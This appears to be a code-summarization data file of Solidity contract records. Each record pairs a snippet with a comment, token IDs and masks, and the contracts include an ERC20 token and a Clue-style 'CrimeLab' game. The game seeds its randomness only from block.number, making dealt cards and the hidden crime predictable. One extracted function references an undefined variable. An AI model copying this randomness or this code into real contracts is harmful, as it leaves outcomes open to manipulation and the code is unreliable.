symbol = "HFCH"; // Set the symbol for display purposes
// Set the price of your token for the ICO
fundsWallet = msg.sender; // The owner of the contract gets ETH
}
/* Approves and then calls the receiving contract */
function approveAndCall(address _spender, uint256 _value, bytes _extraData) returns (bool success) {
allowed[msg.sender][_spender] = _value;
Approval(msg.sender, _spender, _value);
//call the receiveApproval function on the contract you want to be notified. This crafts the function signature manually so one doesn't have to include a contract in here just for this.
//receiveApproval(address _from, uint256 _value, address _tokenContract, bytes _extraData)
//it is assumed that when does this that the call *should* succeed, otherwise one would use vanilla approve instead.
if(!_spender.call(bytes4(bytes32(sha3("receiveApproval(address,uint256,address,bytes)"))), msg.sender, _value, this, _extraData)) { throw; }
return true;
}
} | Set the symbol for display purposes
| symbol = "HFCH"; | 5,975,355 | [
1,
694,
326,
3273,
364,
2562,
13694,
2,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
] | [
1,
1,
1,
1,
1,
1,
1,
1,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
] | [
1,
3639,
3273,
273,
315,
44,
42,
1792,
14432,
4766,
2868,
2,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100
] |
./full_match/3/0x2c0679d0A8bfb8d2EE0A4135440b203391895eb3/sources/NFT.sol | * @dev Transfers `tokenId` from `from` to `to`. As opposed to {transferFrom}, this imposes no restrictions on msg.sender. Requirements: - `to` cannot be the zero address. - `tokenId` token must be owned by `from`. Emits a {Transfer} event./ | address payable _owner;
| 8,153,458 | [
1,
1429,
18881,
1375,
2316,
548,
68,
628,
1375,
2080,
68,
358,
1375,
869,
8338,
225,
2970,
1061,
7423,
358,
288,
13866,
1265,
5779,
333,
709,
10522,
1158,
17499,
603,
1234,
18,
15330,
18,
29076,
30,
300,
1375,
869,
68,
2780,
506,
326,
3634,
1758,
18,
300,
1375,
2316,
548,
68,
1147,
1297,
506,
16199,
635,
1375,
2080,
8338,
7377,
1282,
279,
288,
5912,
97,
871,
18,
19,
2,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
] | [
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
] | [
1,
2867,
8843,
429,
389,
8443,
31,
203,
2,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100
] |
// SPDX-License-Identifier: MIT
pragma solidity >=0.4.22 <0.9.0;
import './BaseCase.sol';
import './GameBoard.sol';
import 'hardhat/console.sol';
contract CrimeLab is BaseCase {
event GameCreated(uint256 gameId, string name, address creator);
event PlayerJoined(uint256 gameId, address player);
event DieRolled(uint256 gameId, address player, uint256 roll);
event SuggestionMade(uint256 gameId, address player);
event SuggestionData(uint256 gameId, uint256 suspect, uint256 weapon, uint256 room);
event AccusationMade(uint256 gameId, address player);
event AccusationData(uint256 gameId, uint256 suspect, uint256 weapon, uint256 room);
event PlayerMoved(uint256 gameId, address player);
event TurnTaken(uint256 gameId);
// When a uint is not meant to be set to anything, use this
uint256 constant NO_VALUE = 65535;
// TODO ¡replace hard-coded (& shared with GameBoard) magic number!
uint256 constant NV = 65535;
struct Player {
address id;
bool ready;
uint256 position;
}
struct Crime {
uint256 suspect;
uint256 weapon;
uint256 room;
}
struct Game {
string name;
Crime crime;
uint256 turn;
uint256 lastDieRoll;
bool moved;
}
mapping(uint256 => Player[]) public game_to_players;
mapping(address => uint256) public player_to_game;
mapping(address => uint256[]) public player_to_cards;
Game[] public games;
// TODO maybe make this part of the game
uint256 prngSeed = block.timestamp;
GameBoard gameBoard;
constructor() {
// HACK create INVALID game as fake null
Crime memory crime = Crime(INVALID, INVALID, INVALID);
uint256 turn = 0;
uint256 lastDieRoll = 0;
bool moved = false;
games.push(Game('** INVALID **', crime, turn, lastDieRoll, moved));
createBoard();
}
// Room format: id, x pos, y pos, width, height, [doors]
function createBoard() internal {
gameBoard = new GameBoard('Default Board');
gameBoard.addStarts([uint256(16), 120, 191, 432, 585, 590, NV, NV]);
// TODO these ids need to be shared better
// TODO get rid of hard-coded 13 / fix width of ID field. see also isInRoom()
uint256 BILLIARD = 13 - 13;
uint256 STUDY = 14 - 13;
uint256 HALL = 15 - 13;
uint256 LOUNGE = 16 - 13;
uint256 DINING = 17 - 13;
uint256 BALLROOM = 18 - 13;
uint256 CONSERVATORY = 19 - 13;
uint256 LIBRARY = 20 - 13;
uint256 KITCHEN = 21 - 13;
// study
gameBoard.addRoom(GameBoard.Room(STUDY, 0, 0, 6, 1, [NV, NV, NV, NV], [NV, NV]));
gameBoard.addRoom(GameBoard.Room(STUDY, 0, 1, 7, 3, [20, NV, NV, NV], [uint256(14), 8]));
// library
gameBoard.addRoom(GameBoard.Room(LIBRARY, 1, 6, 5, 1, [NV, NV, NV, NV], [NV, NV]));
gameBoard.addRoom(GameBoard.Room(LIBRARY, 0, 7, 7, 3, [13, NV, NV, NV], [NV, NV]));
gameBoard.addRoom(GameBoard.Room(LIBRARY, 1, 10, 5, 1, [2, NV, NV, NV], [NV, NV]));
// billiard
gameBoard.addRoom(GameBoard.Room(BILLIARD, 0, 12, 6, 5, [1, 23, NV, NV], [NV, NV]));
// conservatory
gameBoard.addRoom(GameBoard.Room(CONSERVATORY, 1, 19, 4, 1, [3, NV, NV, NV], [uint256(0), 6]));
gameBoard.addRoom(GameBoard.Room(CONSERVATORY, 0, 20, 6, 4, [NV, NV, NV, NV], [NV, NV]));
// hall
gameBoard.addRoom(GameBoard.Room(HALL, 9, 0, 6, 7, [24, 38, 39, NV], [NV, NV]));
// ballroom
gameBoard.addRoom(GameBoard.Room(BALLROOM, 8, 17, 8, 6, [uint256(1), 6, 16, 23], [NV, NV]));
gameBoard.addRoom(GameBoard.Room(BALLROOM, 10, 23, 4, 2, [NV, NV, NV, NV], [NV, NV]));
// lounge
gameBoard.addRoom(GameBoard.Room(LOUNGE, 18, 0, 6, 1, [NV, NV, NV, NV], [NV, NV]));
gameBoard.addRoom(GameBoard.Room(LOUNGE, 17, 1, 7, 5, [28, NV, NV, NV], [uint256(34), 3]));
// dining room
gameBoard.addRoom(GameBoard.Room(DINING, 16, 9, 8, 6, [1, 24, NV, NV], [NV, NV]));
gameBoard.addRoom(GameBoard.Room(DINING, 19, 15, 5, 1, [NV, NV, NV, NV], [NV, NV]));
// kitchen
gameBoard.addRoom(GameBoard.Room(KITCHEN, 18, 18, 5, 1, [1, NV, NV, NV], [NV, NV]));
gameBoard.addRoom(GameBoard.Room(KITCHEN, 18, 19, 6, 5, [NV, NV, NV, NV], [uint256(24), 0]));
}
function getName(uint256 _gameId) external view returns (string memory) {
return games[_gameId].name;
}
function getMap() external view returns (uint256[] memory) {
uint256[] memory map = gameBoard.getMap();
// add players to map
uint256 gameIndex = player_to_game[msg.sender];
uint256 numPlayers = getNumPlayers(gameIndex);
for (uint256 i = 0; i < numPlayers; ++i) {
uint256 pos = game_to_players[gameIndex][i].position;
// TODO ¡magic number alert! 'shared' with frontend
if (pos != NO_VALUE) {
// combine type and id
map[pos] += ((i << 4) | 1) << 32;
}
}
return map;
}
function getGameId() public view returns (uint256) {
return player_to_game[msg.sender];
}
function getNumPlayers(uint256 _gameId) public view returns (uint256) {
uint256 numPlayers = uint256(game_to_players[_gameId].length);
// Array may be 0 padded if players have left the game
while (numPlayers > 0 && game_to_players[_gameId][numPlayers - 1].id == address(0)) {
--numPlayers;
}
return numPlayers;
}
function getDieRoll() public view returns (uint256) {
// TODO convert require to a function modifier
uint256 gameIndex = player_to_game[msg.sender];
require(gameIndex != 0, 'Player not in game');
Game memory game = games[gameIndex];
return game.lastDieRoll;
}
function getNumCards(address _player) public view returns (uint256) {
return player_to_cards[_player].length;
}
function getJoinableGames() public view {
// Games that have 1 or more players
// Turn is 0
}
function getStartableGames() public view {
// Games that have 2 or more players
// Turn is 0
}
function getPlayableGames() public view {
// Games that have 2 or more players
// Turn is greater than 0
}
function createGame(string memory _name) external {
// ensure the player is not in any other game
require(player_to_game[msg.sender] == 0, 'A player can only play one game at a time');
uint256 suspect = INVALID;
uint256 weapon = INVALID;
uint256 room = INVALID;
Crime memory crime = Crime(suspect, weapon, room);
uint256 turn = 0;
uint256 lastDieRoll = 0;
bool moved = false;
games.push(Game(_name, crime, turn, lastDieRoll, moved));
uint256 id = games.length - 1;
addPlayerToGame(id, msg.sender);
emit GameCreated(id, _name, msg.sender);
}
function addPlayerToGame(uint256 _gameId, address _player) internal {
uint256 numPlayers = getNumPlayers(_gameId);
require(numPlayers < 4, 'Max 4 players per game');
bool playerReady = true;
player_to_game[_player] = _gameId;
// attempt to fill any empty slots first
uint256 numSlots = game_to_players[_gameId].length;
uint256 i = 0;
for (; i < numSlots; ++i) {
if (game_to_players[_gameId][i].id == address(0)) {
game_to_players[_gameId][i].id = _player;
game_to_players[_gameId][i].ready = playerReady;
game_to_players[_gameId][i].position = NO_VALUE;
break;
}
}
// no empty slots...
if (i == numSlots) {
game_to_players[_gameId].push(Player(_player, playerReady, NO_VALUE));
}
}
function joinGame(uint256 _gameId) public {
require(player_to_game[msg.sender] == 0, 'Player is already in a game');
addPlayerToGame(_gameId, msg.sender);
emit PlayerJoined(_gameId, msg.sender);
}
function joinAnyGame() external {
for (uint256 i = 1; i < games.length; i++) {
uint256 numPlayers = getNumPlayers(i);
if (numPlayers < 2) {
joinGame(i);
break;
}
}
}
// shuffle cards with Fisher-Yates https://en.wikipedia.org/wiki/Fisher–Yates_shuffle
function getShuffledOrder(
uint256 _suspect,
uint256 _weapon,
uint256 _room
) private returns (uint256[21] memory) {
uint256[21] memory lookup = [uint256(0), 1, 2, 3, 4, 5, 6, 7, 8, 9, 10, 11, 12, 13, 14, 15, 16, 17, 18, 19, 20];
// remove solution cards
lookup[18] = _suspect;
lookup[_suspect] = 18;
lookup[19] = _weapon;
lookup[_weapon] = 19;
lookup[20] = _room;
lookup[_room] = 20;
// shuffle the rest
for (uint256 i = deck.length - 4; i > 0; --i) {
uint256 j = random(i + 1);
uint256 t = lookup[j];
lookup[j] = lookup[i];
lookup[i] = t;
}
return lookup;
}
// NOTE the last 3 cards are the solution
function dealCards(
uint256 _gameId,
uint256 _numPlayers,
uint256[21] memory _lookup
) private {
uint256 playerIndex = 0;
for (uint256 i = 0; i < deck.length - 3; ++i) {
uint256 card = deck[_lookup[i]];
address player = game_to_players[_gameId][playerIndex].id;
player_to_cards[player].push(card);
emit CardDealt(card, player);
playerIndex = (playerIndex + 1) % _numPlayers;
}
}
// TODO restrict action to players in the game
function startGame(uint256 _gameId) external {
// discover the crime
uint256 suspect = random(6);
uint256 weapon = random(6) + 6;
uint256 room = random(9) + 12;
Crime memory crime = Crime(suspect, weapon, room);
games[_gameId].crime = crime;
// shuffle and deal remaining cards
uint256 numPlayers = getNumPlayers(_gameId);
uint256[21] memory lookup = getShuffledOrder(suspect, weapon, room);
dealCards(_gameId, numPlayers, lookup);
// place players on the board
uint256[8] memory starts = gameBoard.getStarts();
for (uint256 i = 0; i < numPlayers; ++i) {
require(starts[i] != NO_VALUE, 'No start position available');
game_to_players[_gameId][i].position = starts[i];
emit PlayerMoved(_gameId, game_to_players[_gameId][i].id);
}
endTurn();
}
function getHand() public view returns (uint256[] memory) {
return player_to_cards[msg.sender];
}
// TODO write a predicate that is true when a (given) player is taking a turn in a (particular) game.
// use parameters as necessary.
// note players can only play in one game at a time currently
// this could be used in other functions (setPlayerPosition, etc) or as a modifier.
function isActive(uint256, uint256) private pure returns (bool) {
return false;
}
function setPlayerPosition(uint256 _newPosition) public {
uint256 gameIndex = player_to_game[msg.sender];
require(gameIndex != 0, 'Player not in game');
Game storage game = games[gameIndex];
uint256 numPlayers = getNumPlayers(gameIndex);
uint256 playerIndex = game.turn % numPlayers;
require(game_to_players[gameIndex][playerIndex].id == msg.sender, 'Player not active');
uint256 currentPosition = game_to_players[gameIndex][playerIndex].position;
if (gameBoard.isValidMove(currentPosition, _newPosition, [NV, NV, NV, NV])) {
game_to_players[gameIndex][playerIndex].position = _newPosition;
game.moved = true;
emit PlayerMoved(gameIndex, msg.sender);
}
// TODO maybe do something if it fails
}
function getPlayerMoved(uint256 _gameId) external view returns (bool) {
return games[_gameId].moved;
}
function getTurn(uint256 _gameId) external view returns (uint256) {
return games[_gameId].turn;
}
// TODO finalize parameter usage / avoidance
function endTurn() public {
uint256 gameIndex = player_to_game[msg.sender];
require(gameIndex != 0, 'Player not in game');
Game storage game = games[gameIndex];
game.turn += 1;
game.moved = false;
emit TurnTaken(gameIndex);
game.lastDieRoll = random(5) + 1;
// NOTE event is for triggering UI update
// TODO add appropriate player address to event
emit DieRolled(gameIndex, address(0), game.lastDieRoll);
}
function random(uint256 _max) private returns (uint256) {
prngSeed = uint256(keccak256(abi.encode(block.number)));
return prngSeed % _max;
}
// Rules, official (OR) vs implemented (I)
// (OR) No limit to number of suspects or weapons in a room
// (OR) You can only make 1 suggestion after entering the room. Must leave and re-enter to make another.
// (OR) Players can block doors and prevent other players from exiting a room
// (OR) If your player was moved into a room, you can either move (roll) or make a suggestion (no roll)
// (OR) You can suggest and accuse in the same turn
// (OR) It looks like after making a suggestion, everyone hears the suggestion, but only the suggester
// sees the card that disproves it.
function isInRoom() public view returns (bool _inRoom, uint256 _roomId) {
uint256 gameIndex = player_to_game[msg.sender];
require(gameIndex != 0, 'Player not in game');
Game storage game = games[gameIndex];
uint256 numPlayers = getNumPlayers(gameIndex);
uint256 playerIndex = game.turn % numPlayers;
require(game_to_players[gameIndex][playerIndex].id == msg.sender, 'Player not active');
uint256 currentPosition = game_to_players[gameIndex][playerIndex].position;
uint256[] memory map = gameBoard.getMap();
// TODO hard-coded value is short-term solution
_inRoom = (map[currentPosition] & 0x0f) == 3;
_roomId = (map[currentPosition] >> 4) & 0x0f;
// TODO get rid of hard-coded 13
return (_inRoom, _roomId + 13);
}
// TODO gameId might not be required for suggestions and accusations
function makeSuggestion(
uint256 _gameId,
uint256 _suspect,
uint256 _weapon
) public returns (bool) {
require(_gameId < games.length, 'Game does not exist');
uint256 numPlayers = game_to_players[_gameId].length;
uint256 activePlayerIndex = (games[_gameId].turn) % numPlayers;
require(game_to_players[_gameId][activePlayerIndex].id == msg.sender, 'Player is not active');
bool inRoom;
uint256 roomId;
(inRoom, roomId) = isInRoom();
require(inRoom, 'Player is not in a room');
emit SuggestionMade(_gameId, msg.sender);
emit SuggestionData(_gameId, _suspect, _weapon, roomId);
Crime memory crime = Crime(_suspect, _weapon, roomId);
return disproveCrime(_gameId, activePlayerIndex, numPlayers, crime);
}
// iterate through opponents and try to disprove suggestion
function disproveCrime(
uint256 _gameId,
uint256 _activePlayerIndex,
uint256 _numPlayers,
Crime memory _crime
) private view returns (bool) {
uint256 opponentBaseIndex = (_activePlayerIndex + 1) % _numPlayers;
for (uint256 i = 0; i < _numPlayers; ++i) {
uint256 opponentIndex = (opponentBaseIndex + i) % _numPlayers;
if (opponentIndex != _activePlayerIndex) {
address player = game_to_players[_gameId][opponentIndex].id;
uint256 numCards = player_to_cards[player].length;
for (uint256 cardId = 0; cardId < numCards; ++cardId) {
uint256 card = player_to_cards[player][cardId];
if (card == _crime.suspect || card == _crime.weapon || card == _crime.room) {
return true;
}
}
}
}
return false;
}
function makeAccusation(
uint256 _gameId,
uint256 _suspect,
uint256 _weapon
) public returns (bool) {
require(_gameId < games.length, 'Game does not exist');
bool inRoom;
uint256 roomId;
(inRoom, roomId) = isInRoom();
require(inRoom, 'Player is not in a room');
uint256 numPlayers = game_to_players[_gameId].length;
uint256 activePlayerIndex = (games[_gameId].turn) % numPlayers;
emit AccusationMade(_gameId, game_to_players[_gameId][activePlayerIndex].id);
emit AccusationData(_gameId, _suspect, _weapon, roomId);
require(_gameId >= 0 && _gameId < games.length);
Game memory game = games[_gameId];
// compare accusation to Game crime
Crime memory crime = Crime(_suspect, _weapon, roomId);
bool solved = _hashCrime(crime) == _hashCrime(game.crime);
// accuser wins or is kicked
if (solved) {
// wins
console.log('YOU WIN', msg.sender);
} else {
// loses
console.log('YOU LOSE', msg.sender);
}
return solved;
}
// NOTE leave game in playable state when possible
// TODO deal with leaving after start
// TODO deal with game-ending exits
// TODO reveal all player cards
// TODO consider stake sacrifice as penalty
function leaveGame() external {
uint256 gameId = player_to_game[msg.sender];
if (gameId != 0) {
require(games[gameId].turn == 0, 'Leaving after start not yet supported');
player_to_game[msg.sender] = 0;
// remove from list of game's players
uint256 numPlayers = getNumPlayers(gameId);
for (uint256 i = 0; i < numPlayers; i++) {
if (game_to_players[gameId][i].id == msg.sender) {
delete game_to_players[gameId][i];
game_to_players[gameId][i] = game_to_players[gameId][numPlayers - 1];
break;
}
}
} else {
// TODO add address in readable format
string memory message = string(abi.encodePacked(msg.sender, ' is not playing'));
console.log(message);
}
}
function _hashCrime(Crime memory _crime) internal pure returns (bytes32 hash) {
return keccak256(abi.encodePacked(_crime.suspect, _crime.weapon, _crime.room));
}
}
| NOTE leave game in playable state when possible TODO deal with leaving after start TODO deal with game-ending exits TODO reveal all player cards TODO consider stake sacrifice as penalty remove from list of game's players | function leaveGame() external {
uint256 gameId = player_to_game[msg.sender];
if (gameId != 0) {
require(games[gameId].turn == 0, 'Leaving after start not yet supported');
player_to_game[msg.sender] = 0;
uint256 numPlayers = getNumPlayers(gameId);
for (uint256 i = 0; i < numPlayers; i++) {
if (game_to_players[gameId][i].id == msg.sender) {
delete game_to_players[gameId][i];
game_to_players[gameId][i] = game_to_players[gameId][numPlayers - 1];
break;
}
}
console.log(message);
}
}
| 14,091,576 | [
1,
17857,
8851,
7920,
316,
6599,
429,
919,
1347,
3323,
2660,
10490,
598,
15086,
1839,
787,
2660,
10490,
598,
7920,
17,
2846,
19526,
2660,
283,
24293,
777,
7291,
18122,
2660,
5260,
384,
911,
20071,
86,
704,
311,
487,
23862,
1206,
628,
666,
434,
7920,
1807,
18115,
2,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
] | [
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
] | [
1,
225,
445,
8851,
12496,
1435,
3903,
288,
203,
565,
2254,
5034,
7920,
548,
273,
7291,
67,
869,
67,
13957,
63,
3576,
18,
15330,
15533,
203,
565,
309,
261,
13957,
548,
480,
374,
13,
288,
203,
1377,
2583,
12,
75,
753,
63,
13957,
548,
8009,
20922,
422,
374,
16,
296,
1682,
5339,
1839,
787,
486,
4671,
3260,
8284,
203,
203,
1377,
7291,
67,
869,
67,
13957,
63,
3576,
18,
15330,
65,
273,
374,
31,
203,
1377,
2254,
5034,
818,
1749,
3907,
273,
11187,
1749,
3907,
12,
13957,
548,
1769,
203,
1377,
364,
261,
11890,
5034,
277,
273,
374,
31,
277,
411,
818,
1749,
3907,
31,
277,
27245,
288,
203,
3639,
309,
261,
13957,
67,
869,
67,
1601,
414,
63,
13957,
548,
6362,
77,
8009,
350,
422,
1234,
18,
15330,
13,
288,
203,
1850,
1430,
7920,
67,
869,
67,
1601,
414,
63,
13957,
548,
6362,
77,
15533,
203,
1850,
7920,
67,
869,
67,
1601,
414,
63,
13957,
548,
6362,
77,
65,
273,
7920,
67,
869,
67,
1601,
414,
63,
13957,
548,
6362,
2107,
1749,
3907,
300,
404,
15533,
203,
1850,
898,
31,
203,
3639,
289,
203,
1377,
289,
203,
1377,
2983,
18,
1330,
12,
2150,
1769,
203,
565,
289,
203,
225,
289,
203,
203,
2,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100
] |
//Address: 0x239c7175a43c500255c4d3849c2ab2973d4384d5
//Contract name: Token
//Balance: 0 Ether
//Verification Date: 12/14/2017
//Transacion Count: 0
// CODE STARTS HERE
pragma solidity ^0.4.15;
/**
* assert(2 + 2 is 4 - 1 thats 3) Quick Mafs
*/
library QuickMafs {
function mul(uint256 _a, uint256 _b) internal pure returns (uint256) {
uint256 c = _a * _b;
assert(_a == 0 || c / _a == _b);
return c;
}
function div(uint256 _a, uint256 _b) internal pure returns (uint256) {
assert(_b > 0); // Solidity automatically throws when dividing by 0
uint256 c = _a / _b;
return c;
}
function sub(uint256 _a, uint256 _b) internal pure returns (uint256) {
assert(_b <= _a);
return _a - _b;
}
function add(uint256 _a, uint256 _b) internal pure returns (uint256) {
uint256 c = _a + _b;
assert(c >= _a);
return c;
}
}
/**
* The ownable contract contains an owner address. This give us simple ownership privledges and can allow ownship transfer.
*/
contract Ownable {
/**
* The owner/admin of the contract
*/
address public owner;
/**
* Constructor for contract. Sets The contract creator to the default owner.
*/
function Ownable() public {
owner = msg.sender;
}
/**
* Modifier to apply to methods to restrict access to the owner
*/
modifier onlyOwner(){
require(msg.sender == owner);
_; //Placeholder for method content
}
/**
* Transfer the ownership to a new owner can only be done by the current owner.
*/
function transferOwnership(address _newOwner) public onlyOwner {
//Only make the change if required
if (_newOwner != address(0)) {
owner = _newOwner;
}
}
}
/**
* ERC Token Standard #20 Interface
*/
contract ERC20 {
/**
* Get the total token supply
*/
function totalSupply() public constant returns (uint256 _totalSupply);
/**
* Get the account balance of another account with address _owner
*/
function balanceOf(address _owner) public constant returns (uint256 balance);
/**
* Send _amount of tokens to address _to
*/
function transfer(address _to, uint256 _amount) public returns (bool success);
/**
* Send _amount of tokens from address _from to address _to
*/
function transferFrom(address _from, address _to, uint256 _amount) public returns (bool success);
/**
* Allow _spender to withdraw from your account, multiple times, up to the _amount.
* If this function is called again it overwrites the current allowance with _amount.
* this function is required for some DEX functionality
*/
function approve(address _spender, uint256 _amount) public returns (bool success);
/**
* Returns the amount which _spender is still allowed to withdraw from _owner
*/
